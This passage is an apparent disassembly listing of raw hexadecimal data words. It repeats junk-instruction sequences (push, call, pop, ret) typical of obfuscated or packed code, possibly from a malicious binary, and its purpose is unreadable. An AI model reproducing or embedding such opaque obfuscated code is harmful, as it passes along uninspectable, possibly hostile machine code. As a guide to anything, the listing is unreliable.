		dd 4B5D2F23h, 55865982h, 0CB510289h, 0FCC38B77h, 15E9BD23h
		dd 0E8C1060Bh, 56006A04h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 6BE6666h, 61858919h, 66060B28h
		dd 6AE2F7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 840162C3h, 0F98B66A6h, 2929BD8Bh,	0D82B060Bh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 14C35040h
		dd 1FF6816Ah, 582CD32Dh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 16h, 0D5C35343h, 8B667804h, 219589FAh, 2B060B2Bh
		dd 2A880FD8h, 66000001h, 7B9F98Bh, 81000000h, 9544B5C7h
		dd 0C18328h, 0FD93BF9h,	11086h,	0FE8B6600h, 0FCD98C66h
		dd 0F04C1F6h, 0E184h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 0FDF30719h, 665EBDA5h
		dd 8BC775BFh, 0B17BDB5h, 0ED95FF06h, 6A060B18h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 0F9E6C356h, 8B5FF120h, 0B2DF5BDh, 8E0F5B06h,	19h, 14E9h
		dd 3238D300h, 6DF2A97h,	1140ADDDh, 72DD1DD0h, 0E3731B51h
		dd 6AC32B07h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 0E9BAC355h, 9,	4955C601h, 1374F2A9h
		dd 29BD8BC1h, 3D060B19h, 834h, 2C860Fh,	6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0A44408C3h, 0E90BB18Fh, 25h,	1E9DBD8Bh, 0C08B060Bh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 18C35040h
		dd 8BC38BE8h, 52006AD8h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 1ECB3244h, 0C7FB8B18h, 0B1A9D85h
		dd 74AF3506h, 51006A34h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 1E1A263Eh, 41EF1119h, 29C08B30h
		dd 0B214D9Dh, 85BD8106h, 0D0060B33h, 0F000007h,	4C85h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 33D6FD6Ah, 0B00E1B5h, 8585FF06h,	6A060B33h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 3357C355h, 0B015DBDh, 85B5FF06h, 8B060B33h
		dd 0B0E9DB5h, 0DD95FF06h, 6A060B32h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 7059C353h
		dd 7D8589FEh, 52060B0Bh, 905FFA8Bh, 20619D29h, 0BD8B060Bh
		dd 60B03F1h, 3FD8589h, 8BF5060Bh, 0B069DB5h, 0FE8F906h
		dd 0CF000000h, 0F7FCEAFCh, 1C3C3B21h, 0C95FB17Bh, 0B531C6ECh
		dd 60B1B29h, 5FFBBF0Fh,	0AACE8166h, 0D8589BDh, 0F9060B08h
		dd 3C62BF66h, 2005B589h, 8B66060Bh, 4D8D89F1h, 6A060B1Ah
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 6CD5C357h, 0DE860h, 54C10000h, 66265235h
		dd 1BC3A259h, 89BECC55h, 0B01D995h, 0D8BF5E06h,	8B6FBAE2h
		dd 0B2729BDh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 0D98501A1h, 66060B07h, 0E5BFF28Bh
		dd 0F17BF59h, 148Bh, 0E840F00h,	0E9000000h, 9, 0AB8536F8h
		dd 1348FBEFh, 0BE955h, 2CB0000h, 0E52C900Bh, 2BC3F21Eh
		dd 51006A8Fh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 0F5B82A86h, 0FD8F588h, 58Ah, 0D6816600h
		dd 0EE85B26h, 0D7000000h, 0C4ED71A0h, 87906C25h, 9B5E077Eh
		dd 0F1BF0F94h, 0F7BAE95Eh, 6AFFFFh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 8BAC15C3h
		dd 95893A5Bh, 60B2979h,	8950C18Bh, 0B2F1185h, 4EB5E06h
		dd 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 62C35545h
		dd 915A3A2Eh, 7335D7D4h, 0E2D68166h, 0E59D31BFh, 8D060B29h
		dd 0B28A985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 1980141Fh, 0BF669053h, 60504A72h
		dd 9061F6B5h, 0A2CDBE66h, 8589006Ah, 60B1FD1h, 6A006Ah
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 1862C4C3h, 0DC0FB0BFh, 0F18BF496h, 0EDBB858Dh, 6A060Eh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 0D701EC3h, 0ADB58977h, 83060B06h, 0E95005C0h, 10h, 0FDD21441h
		dd 7824B00Eh, 0CC971444h, 85374640h, 6A240489h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 726AC352h, 0BE661888h, 6A5784h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 0E1C35040h,	7497ECA8h, 0C0F6026h
		dd 0A870F67h, 0E9000000h, 5, 3610FE48h,	6A006A6Dh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 28F7C350h, 2A34D4C0h, 95FF405Eh, 60B2F21h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 84C35242h, 0B09D8D0Ch
		dd 6A060EA7h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 8B3DC351h, 0B0349BDh, 6AD3FF06h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 2FDC352h,	6D85FF3Dh, 66060B06h, 0E9C9C7BFh
		dd 765h, 0E8h, 0ED815D00h, 60EEDC5h, 11E9h, 0DBE79000h
		dd 0AB99B6F7h, 50EEB2C3h, 1E249E21h, 0BD8140E3h, 60B3385h
		dd 7D0h, 1BD860Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 6A5761C3h, 9E47AF76h
		dd 0EAF68166h, 0F28B6602h, 649DE681h, 9D8B164Ah, 60B00A1h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 3DC35545h
		dd 0E3819515h, 100h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 34C35343h, 6C13D118h,	266DC286h, 850FDB0Bh
		dd 0F9h, 0EF816653h, 835E6893h,	0EEBE8BDh, 840F0006h, 7Bh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0F9C35141h
		dd 9FFA071Ah, 19F58D89h, 8C0F060Bh, 24h, 5E8h, 0AAB2A700h
		dd 13E8E5FBh, 40000000h, 30216A68h, 0BEE45C0Fh,	0CD9D29BDh
		dd 3E6BDD0Ch, 5F5F0EABh, 0A0E9h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0DC4FA80Ah
		dd 65B58BD6h, 0C7060B0Ch, 0EEBE885h, 106h, 0EE900h, 0D5210000h
		dd 0D88ACDDBh, 21D11621h, 6C32374Dh, 66F58060h,	61C2BF0Fh
		dd 50E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 714B465h,	8A0F2204h, 19h,	14E9h
		dd 6BF7E00h, 0AAD3A1BDh, 8DBAF552h, 0D97379DAh,	73C20427h
		dd 0E885C778h, 60EEBh, 89000000h, 0B035DBDh, 0A19D8D06h
		dd 9060B00h, 0B03F9B5h,	5E806h,	0ECB60000h, 89520805h
		dd 0B208185h, 23815E06h, 0FFFFFEFFh, 0D3BF0F60h, 13ED8D8Bh
		dd 6661060Bh, 6ADB8Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 66D900C3h, 1232F55Ah, 4C3F645h
		dd 55840Fh, 0CE810000h,	54138C1Eh, 18ED95FFh, 90F9060Bh
		dd 198D0Fh, 8B600000h, 10E9F1h,	42F00000h, 335730D9h, 945C1F86h
		dd 49912999h, 5061B60Dh, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 87CEE46Ch, 13BF7C5Ch
		dd 0E94B7023h, 31Dh, 0B0F08B66h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 0B1E781ABh
		dd 0E669DE7Ch, 45BF6670h, 71E4F829h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 54C35040h, 15D734FFh, 10AB2C7h
		dd 0B2ED585h, 0D8B60F06h, 6BAF8h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 8B9E41C3h
		dd 0BDB523C3h, 0C1060B0Bh, 6A04E8h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 58689C3h
		dd 66D7710Ah, 0B360E2F7h, 0D82B61B2h, 2D89B58Bh, 8166060Bh
		dd 50BBEDE7h, 6A241C89h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 4D73C357h, 9D89DA61h
		dd 60B21E9h, 3385B5FFh,	95FF060Bh, 60B32DDh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 6FC35545h, 0EC9613Ah
		dd 0B0BCF584h, 15800F00h, 0E9000000h, 10h, 83A2994Fh, 1BE59302h
		dd 0DB4997A7h, 0EF00C301h, 71E470E6h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 0C8C35242h,	6917AE88h, 3CA5AC8Fh
		dd 0BA830F61h, 0F000001h, 0B60FFBB7h, 860FD8h, 0BA000000h
		dd 6, 10E9h, 10A07000h,	5A4312F8h, 24B68820h, 0BD530936h
		dd 6AC38B2Ch, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 6E04C357h, 6604E8C1h, 6AE2F7h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 0D2AA53C3h, 0A095BFA3h, 0FB8B7D8Fh, 6AD82Bh,	3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 6A5883C3h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 0CC48C352h, 4C5AD703h,	2B60DDEBh
		dd 0FE880FD8h, 0E9000000h, 5, 0A32E1D13h, 7B9BBh, 9D890000h
		dd 60B0161h, 8900C183h,	0B0B759Dh, 0FD93B06h, 0D886h, 0F7BF0F00h
		dd 8BD98C66h, 4C1F6F3h,	8E840Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 10DEDCC3h
		dd 10B9956h, 0F9C1293h,	95FFF3B7h, 60B18EDh, 1619B58Bh
		dd 0BE5B060Bh, 45DD506Bh, 0B70FC32Bh, 8343DFFh,	860F0000h
		dd 44h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h
		dd 20C35040h, 8B80902Fh, 0B07D9BDh, 9E906h, 5EFA0000h
		dd 9068D610h, 0E901F5A3h, 45h, 6860Fh, 0BD8B0000h, 60B05F1h
		dd 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 8634D0C3h, 1FD1BD8Bh, 0EE9060Bh, 0F5000000h
		dd 20E41E7Fh, 0A0122F32h, 1EBBDC62h, 8BC38B48h,	4CBE66D8h
		dd 8585C705h, 0D7060B29h, 6A7054E3h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 8B1AC353h
		dd 0F9BF0FC0h, 3385BD81h, 7D0060Bh, 850F0000h, 59h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 95C35646h, 884E0CC8h
		dd 0FF072864h, 0B338585h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 8B66CB44h
		dd 0BE9F8h, 0E45F0000h,	9624793h
		dd 8029B6C7h, 85B5FF24h, 60060B33h, 3AC81B9h, 0D5858B3Fh
		dd 61060B13h, 5344BE66h, 32DD95FFh, 0DE81060Bh,	239D0EE5h
		dd 52006A90h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 8C34A6B2h, 5D0F17A4h, 0BD0BCCEBh, 60B1B25h
		dd 0EE9h, 0ECA69A00h, 1F61F8D5h, 0EA416981h, 8B2A278Fh
		dd 0B23F5B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 854C9C5Eh, 0BF2E9899h, 0F58EA52h
		dd 0B58BFB8Bh, 60B29C1h, 8E9FA8Bh, 0D3000000h, 258EBADCh
		dd 31B8295Eh, 0B059595h, 0A19D8906h, 0E8060B07h, 0Bh, 0A6CCFDD8h
		dd 9C77383Eh, 0F9ED717h, 895EF8BFh, 0B09159Dh, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 19834F15h, 12E9490Ch, 0A6000000h, 0A909BC5Dh, 0C0776CB2h
		dd 8BFE04Dh, 7A84256Ch,	0FDB5038Fh, 8B060B1Fh, 52006AFEh
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 0A1E9ED9Bh, 1FFFFF8h, 0B0E9DB5h, 66C18B06h, 0EBC61DBEh
		dd 4, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 6CE2D339h, 0DCE2A3C7h, 8B66E93Bh
		dd 53006AFBh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 66E72C2Ah, 0A51AF781h, 38D0Fh, 0B70F0000h
		dd 68BF66F3h, 0A9858D56h, 0F060B28h, 198Eh, 14E900h, 35F50000h
		dd 2025D009h, 780F8C6Dh, 9BF55D09h, 0CB9D87C5h,	66501C93h
		dd 489F88Bh, 3DBD0324h,	6A060B06h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 8DB13963h
		dd 0F5703DFh, 68Eh, 0D9BD8B00h,	5F060B15h, 6A006Ah, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 3977ABC3h, 0DB0D0C1Dh, 0D68166C5h, 858D350Ch, 60EF737h
		dd 3870Fh, 0BF0F0000h, 5C083FBh, 13E8h,	23985400h, 0E9D5DFCFh
		dd 614CD86Fh, 0D357D0EBh, 594E5F00h, 5250905Fh,	7D1BBF66h
		dd 0CE8310Fh, 0AB000000h, 15EEF1A1h, 36FF46B8h,	0E8BB6F42h
		dd 5, 0BF467806h, 5A5F5F1Eh, 66535058h,	905EF18Bh, 7E8h
		dd 8634D000h, 32EE44DAh, 5EFE8B66h, 6A006Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0A0B303C3h
		dd 6A006AF9h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 3252C355h, 0BF665B79h,	95FFFB53h
		dd 60B2F21h, 2149BD8Bh,	9D8D060Bh, 60EA7B0h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 30C35646h, 0D6C7E93Dh
		dd 0FF0E7F65h, 12E9D3h,	0C3DF0000h, 195B8046h, 4621E8B4h
		dd 8F149CC6h, 4D34EDA1h, 66D85FFh, 6A060Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 0E90EE7C3h
		dd 7A2h, 0E8h, 0ED815D00h, 60EF741h, 81CF8B60h,	0D60809DFh
		dd 0BD816108h, 60B3385h, 7D0h, 162860Fh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 6F01C3h, 0BB1D4EDBh,	0DE879h, 2B930000h, 0EA5AADBFh
		dd 1B2736CAh, 0F3203F9h, 8B5FFBBFh, 0B13E99Dh, 0E381FC06h
		dd 100h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 15h,	3BC35141h, 0F98B66D4h, 0BF1B70Fh, 83850FDBh, 83000000h
		dd 0EF52DBDh, 840F0006h, 21h, 12E9h, 12B68E00h,	0CF60E681h
		dd 60BAD6D2h, 95032A53h, 0E93DD78Ch, 8Ch, 81A0EDBEh, 2D85C72Dh
		dd 1060EF5h, 2B000000h,	0B30E5B5h, 72E906h, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 0E9D40DC3h, 0Ah, 0B0505797h,	89357576h, 0FE94422h, 70000000h
		dd 3BDA1789h, 0B009D5FFh, 0C5AA3CE9h, 85C7D5B0h, 60EF52Dh
		dd 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 9DC35141h
		dd 4ABC489Eh, 0BD8B6CBAh, 60B1221h, 13E99D8Dh, 6A060Bh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 9A8A77C3h, 1A35B58Bh, 2381060Bh, 0FFFFFEFFh,	0C71B58Bh
		dd 8D89060Bh, 60B01E9h,	8BDB8C66h, 4C3F6F3h, 39840Fh, 8C0F0000h
		dd 5, 4DC68166h, 0ED95FFECh, 50060B18h,	5C0F2FBFh, 24048950h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 58C35747h
		dd 0E9CD013Dh, 401h, 1398D89h, 0CF81060Bh, 20E60DC0h, 6A00B0h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 66C516C3h, 0E64E44BFh, 52006A70h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0DEE47CCAh
		dd 0A395E868h, 0D59589E8h, 0E4060B12h, 0FF28B71h, 0ABBED8B6h
		dd 0BA0D7324h, 6, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	8EC35141h, 8B2D3394h, 0B0415B5h, 0C1C38B06h, 6A04E8h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0F7D04BC3h, 54C0A895h, 0F766F9FAh, 0FA8BF9E2h, 6AD82Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 8D2951C3h, 60B0841h,	241C8950h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 5DC35646h, 4C35F612h, 3385B5FFh
		dd 0BD89060Bh, 60B24B5h, 32DD95FFh, 6A060Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 4D77EFC3h
		dd 0ADE6A43Dh, 419589DBh, 0B0060B13h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
		dd 32128186h, 15E98529h, 9529060Bh, 60B103Dh, 6A70E6h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 2FCFF3C3h, 3008C349h, 81B654ACh, 933100CFh, 8DB58915h
		dd 0E4060B03h, 0DD853171h, 3C060B02h, 4E830F61h, 6A000002h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 89EBC351h, 0B00D5B5h, 0D8B60F06h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0DFC35141h, 85295702h
		dd 60B063Dh, 6BAh, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 0B6E6AFAFh, 8BCC923Ah
		dd 4DB58BC3h, 89060B0Ch, 0B1595B5h, 4E8C106h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0B6C35545h, 0BE66938Ah
		dd 0F7666556h, 55006AE2h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 2B933F8Fh, 7D9D89D8h
		dd 58060B17h, 880FD82Bh, 179h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 29C35242h, 811DEE89h, 930F52E7h
		dd 1D958938h, 0B9060B33h, 7, 0FE9h, 279CA700h, 48CE9F91h
		dd 7AD3F14Ch, 421FCCE4h, 0BE00C183h, 4A45218Ch,	860FD93Bh
		dd 125h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 14h,	0E7C35040h, 6AD98C66h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 274DC351h, 0EBD57178h
		dd 8A0FF084h, 0Ch, 68D0Fh, 880F0000h, 0
		dd 0F04C1F6h, 0BA84h, 81BD2300h, 0FF060B28h, 0B18ED95h
		dd 199D8906h, 5B060B0Ch, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 0FEC35545h, 0F847F917h, 0C174B843h, 56B7BE98h
		dd 0C32B4DAFh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	0A6C35040h, 6641C449h, 0B589F98Bh, 60B17D9h, 8343Dh
		dd 48860F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 0B9A1C356h,	0DD78BE66h
		dd 30E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 89993459h, 8B7867FEh, 6830FC0h, 8B000000h
		dd 0B2E61B5h, 8BC38B06h, 56006AD8h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 85C7F909h, 60B00A1h, 3F5E9953h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0E9C35343h
		dd 8589EA12h, 60B0571h,	9589C08Bh, 60B0D51h, 3385BD81h
		dd 7D0060Bh, 850F0000h,	13h, 212DBD8Bh,	0D3BE060Bh, 0FF56E1FCh
		dd 0B338585h, 0FFF5FC06h, 0B3385B5h, 0CE95606h,	22000000h
		dd 54680A82h, 5E153C82h, 5E6B64D9h, 8AD9D09h, 95FF060Bh
		dd 60B32DDh, 0F9BF0F60h, 0AD19531h, 9061060Bh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 5EC35545h, 8D89BB2Ch
		dd 60B0425h, 152DB589h,	6A060Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 799EDCC3h, 0ED7AF27Fh
		dd 6A1197FFh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 1424C355h, 7D8D01B7h, 89060B07h
		dd 0B31B5BDh, 0F6BF0F06h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 0D7C35141h, 7A51BE60h, 858B5BAFh, 60B2349h
		dd 12958D89h, 0F561060Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 0CC35545h, 598D89ABh,	29060B2Eh, 0B2A75B5h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 0DA8BED8Eh, 0B1BD8BD7h, 51060B08h, 2AB5B58Bh
		dd 0FE9060Bh, 93000000h, 0EB04BEEDh, 6A1759F5h,	0E2B756B6h
		dd 0E95ED7A8h, 0FFFFF864h, 2414EF81h, 0C18B2C6Fh, 0F3DB589h
		dd 4EB060Bh, 0
		dd 6AFA8Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 4BB565C3h, 0EBFBF09Ah, 8E91F72h, 0DB000000h
		dd 7F642D43h, 8D0EAAF7h, 0B28A985h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 5AEC6B8h, 2EFDBD31h
		dd 0E950060Bh, 12h, 118D7B58h, 0F3511AFBh, 0C48EEB87h
		dd 4D6548Ch, 48995C3h, 1D958924h, 8B060B18h, 6A006AF8h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 0B1BC356h, 0EE8h,	0AA698800h, 9F508C00h
		dd 0CCE34AF7h, 5E97554Ch, 0B9F3D9BFh, 8D006A15h, 0F00D685h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 0B5E88862h, 2BD531D0h, 1CBF6649h, 5C0832Eh
		dd 85F3BF66h, 24048950h, 0B870Fh, 0BE600000h, 613EA69Bh
		dd 0D0DABA66h, 0F006A61h, 688h,	71F78100h, 6A464DCAh, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 8BD7BA37h, 8B60FFE4h, 0B01959Dh, 5D952B06h, 61060B27h
		dd 2F2195FFh, 6A060Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 0EF2E51C3h, 8180CA04h, 0C56CCBC7h
		dd 0D5BD8B44h, 8D060B0Bh, 0EA7B09Dh, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0B52B1AAEh
		dd 60B0B25h, 0D3FFFA8Bh, 8FC0BE66h, 0DE9h, 86951D00h, 5E3B1B99h
		dd 0D10B49E7h, 85FF865Ch, 60B066Dh, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 0A2C35141h,	0A9F9D11Eh, 0F3A3E6C2h
		dd 20B9BD8Bh, 0E6E9060Bh, 0E8000008h, 0
aBar		db ']íŕ',0
		db 0Fh,	6, 6Ah
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 524BC350h, 13A7176Ch, 293DB58Bh, 0BD81060Bh
		dd 60B3385h, 7D0h, 185860Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 8B104BC3h
		dd 0B0719B5h, 6D9D8B06h, 6A060B2Ah, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 41B8C355h
		dd 80E852Bh, 0F874395h,	8Eh, 37D4BE00h,	0E3815316h, 100h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 1CC35040h
		dd 850FDB0Bh, 94h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 67C35747h, 7FF68145h,	0BE4BC1EAh, 4E0B731Ah
		dd 0FEE8BD83h, 0F00060Eh, 2A84h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 3AF8680Eh
		dd 830Fh, 67E90000h, 0C7000000h, 0EFEE885h, 106h, 0EE800h
		dd 0EC7B0000h, 375C3058h, 0A186EDCBh, 13ED4646h, 68E0Fh
		dd 0B5890000h, 60B08C9h, 38E95Fh, 0BD0B0000h, 60B0DC9h
		dd 0FEE885C7h, 60Eh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 1B3EDBC3h, 0F78BA846h
		dd 645B50Bh, 9D8D060Bh,	60B2A6Dh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 0EBC35242h,	0E4A752DCh, 0BB256D5Bh
		dd 55B589A1h, 81060B03h, 0FFFEFF23h, 61BD89FFh,	66060B16h
		dd 6ADB8Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 14E981C3h, 96000000h, 59865575h, 0C3E4CF82h
		dd 7D7CB9B5h, 46B5AEF6h, 8BE73112h, 0B069DB5h, 4C3F606h
		dd 37840Fh, 85010000h, 60B0051h, 18ED95FFh, 8166060Bh
		dd 0BFF022DFh, 5C0F2AD0h, 9474BF50h, 48940D7h, 81B58B24h
		dd 0E9060B2Eh, 0Dh, 6B2246C5h, 0DFD34495h, 4DA9BA09h, 4B4E9AFh
		dd 8B0F0000h, 1Ch, 11E8h, 816B1E00h, 0C1D2703Dh, 0A7A7EB4Eh
		dd 6BC24C23h, 8166D9F5h, 5EF9D5EEh, 953100B0h, 60B080Dh
		dd 71E470E6h, 7E9h, 1E42FF00h, 0A3DB8371h, 89D8B60Fh, 0B087D9Dh
		dd 6BA06h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 66D143C3h, 351CDF81h, 870FC38Bh
		dd 6, 12CD8D89h, 0E8C1060Bh, 52006A04h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0CC391406h
